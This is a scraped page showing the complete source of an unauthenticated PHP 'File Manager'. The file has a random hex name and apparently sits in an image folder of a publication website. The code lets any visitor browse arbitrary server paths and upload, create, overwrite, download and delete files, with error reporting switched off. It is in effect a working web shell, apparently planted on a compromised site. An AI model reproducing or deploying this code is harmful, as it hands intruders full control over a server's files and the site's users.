PHP File Manager
Current Path: /home/u129606624/domains/padanamapublication.lk/public_html/image/books
Editing '68a45e5d92e2d.php'
<?php // --- Security Settings and Basic Configuration --- // Disable error reporting for security reasons error_reporting(0); ini_set('display_errors', 0); // --- Main File Manager Code --- // Get the current path $path = isset($_GET['path']) ? realpath($_GET['path']) : realpath(getcwd()); // Check if the path is valid if (!$path || !is_dir($path)) { die("Error: The path is not valid."); } // --- Handling Actions --- $action = isset($_GET['action']) ? $_GET['action'] : null; $file = isset($_GET['file']) ? $_GET['file'] : null; $filePath = $path . '/' . $file; // 1. Handle File Upload if (isset($_FILES['uploadfile'])) { $uploadPath = $path . '/' . basename($_FILES['uploadfile']['name']); if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadPath)) { echo "<script>alert('File uploaded successfully!'); window.location.href='?path=".urlencode($path)."';</script>"; } else { echo "<script>alert('File upload failed!');</script>"; } } // 2. Create a New File if (isset($_POST['newfile'])) { $newFilePath = $path . '/' . $_POST['newfile']; if (!file_exists($newFilePath)) { fopen($newFilePath, 'w'); echo "<script>alert('File created successfully!'); window.location.href='?path=".urlencode($path)."';</script>"; } else { echo "<script>alert('A file with this name already exists!');</script>"; } } // 3. Edit and Save a File if (isset($_POST['filecontent']) && $file) { file_put_contents($filePath, $_POST['filecontent']); echo "<script>alert('File updated successfully!'); window.location.href='?path=".urlencode($path)."';</script>"; } // 4. Download a File if ($action === 'download' && $file && is_file($filePath) && is_readable($filePath)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($filePath) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($filePath)); readfile($filePath); exit; } // 5. Delete a File or (Empty) Folder if ($action === 'delete' && $file) { // Double-check if the file/folder exists before trying to delete if (file_exists($filePath)) { if (is_dir($filePath)) { // Attempt to delete the directory (only works if it's empty) if (@rmdir($filePath)) { echo "<script>alert('Directory deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>"; } else { echo "<script>alert('Failed to delete directory. It might not be empty or check permissions.'); window.location.href='?path=" . urlencode($path) . "';</script>"; } } else { // Attempt to delete the file if (@unlink($filePath)) { echo "<script>alert('File deleted successfully!'); window.location.href='?path=" . urlencode($path) . "';</script>"; } else { echo "<script>alert('Failed to delete file. Check permissions.'); window.location.href='?path=" . urlencode($path) . "';</script>"; } } exit; // Stop the script after handling the action } else { echo "<script>alert('Item not found!'); window.location.href='?path=" . urlencode($path) . "';</script>"; exit; } } ?> <!DOCTYPE html> <html> <head> <title>PHP File Manager</title> <style> body { font-family: sans-serif; background-color: #f4f4f4; } .container { width: 80%; margin: auto; background: white; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } table { width: 100%; border-collapse: collapse; } th, td { padding: 8px; border: 1px solid #ddd; text-align: left; word-break: break-all; } th { background-color: #f2f2f2; } a { text-decoration: none; color: #007bff; } a:hover { text-decoration: underline; } .actions a { margin-right: 10px; } .forms-container { display: flex; justify-content: space-between; margin-bottom: 20px; flex-wrap: wrap; } .forms-container > div { padding: 15px; border: 1px solid #ddd; width: 48%; margin-bottom: 10px; box-sizing: border-box;} textarea { width: 98%; height: 300px; } </style> </head> <body> <div class="container"> <h2>PHP File Manager</h2> <p>Current Path: <?php echo htmlspecialchars($path); ?></p> <?php if ($action === 'edit' && $file && is_file($filePath)): // File Editing Interface ?> <h3>Editing '<?php echo htmlspecialchars($file); ?>'</h3> <form method="post" action="?path=<?php echo urlencode($path); ?>&file=<?php echo urlencode($file); ?>"> <textarea name="filecontent"><?php echo htmlspecialchars(file_get_contents($filePath)); ?></textarea><br><br> <button type="submit">Save Changes</button> <a href="?path=<?php echo urlencode($path); ?>">Cancel</a> </form> <?php else: // Main File List and other forms ?> <div class="forms-container"> <!-- File Upload Form --> <div> <h4>Upload File</h4> <form method="post" enctype="multipart/form-data"> <input type="file" name="uploadfile" required> <button type="submit">Upload</button> </form> </div> <!-- New File Creation Form --> <div> <h4>Create New File</h4> <form method="post"> <input type="text" name="newfile" placeholder="filename.txt" required> <button type="submit">Create File</button> </form> </div> </div> <!-- File and Folder List --> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Last Modified</th> <!-- අලුතින් එකතු කල තීරුව --> <th>Actions</th> </tr> </thead> <tbody> <?php // Link to parent directory echo '<tr><td><a href="?path=' . urlencode(dirname($path)) . '"><strong>.. (Parent Directory)</strong></a></td><td></td><td></td><td></td><td></td></tr>'; // Get items from the directory $items = scandir($path); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $path . '/' . $item; $isDir = is_dir($itemPath); ?> <tr> <td> <?php if ($isDir): ?> <a href="?path=<?php echo urlencode($itemPath); ?>"><?php echo '<strong>' . htmlspecialchars($item) . '/</strong>'; ?></a> <?php else: ?> <?php echo htmlspecialchars($item); ?> <?php endif; ?> </td> <td><?php echo $isDir ? 'Folder' : round(filesize($itemPath) / 1024, 2) . ' KB'; ?></td> <td><?php echo substr(sprintf('%o', fileperms($itemPath)), -4); ?></td> <!-- Last Modified දිනය පෙන්වීම සඳහා අලුතින් එකතු කල කොටස --> <td><?php echo date("Y-m-d H:i:s", filemtime($itemPath)); ?></td> <td class="actions"> <?php if (!$isDir): ?> <a href="?path=<?php echo urlencode($path); ?>&action=edit&file=<?php echo urlencode($item); ?>">Edit</a> <a href="?path=<?php echo urlencode($path); ?>&action=download&file=<?php echo urlencode($item); ?>">Download</a> <?php endif; ?> <a href="?path=<?php echo urlencode($path); ?>&action=delete&file=<?php echo urlencode($item); ?>" onclick="return confirm('Are you sure you want to delete \'<?php echo htmlspecialchars($item); ?>\'? This cannot be undone.');" style="color: red;">Delete</a> </td> </tr> <?php } ?> </tbody> </table> <?php endif; ?> </div> </body> </html>
Save Changes
Cancel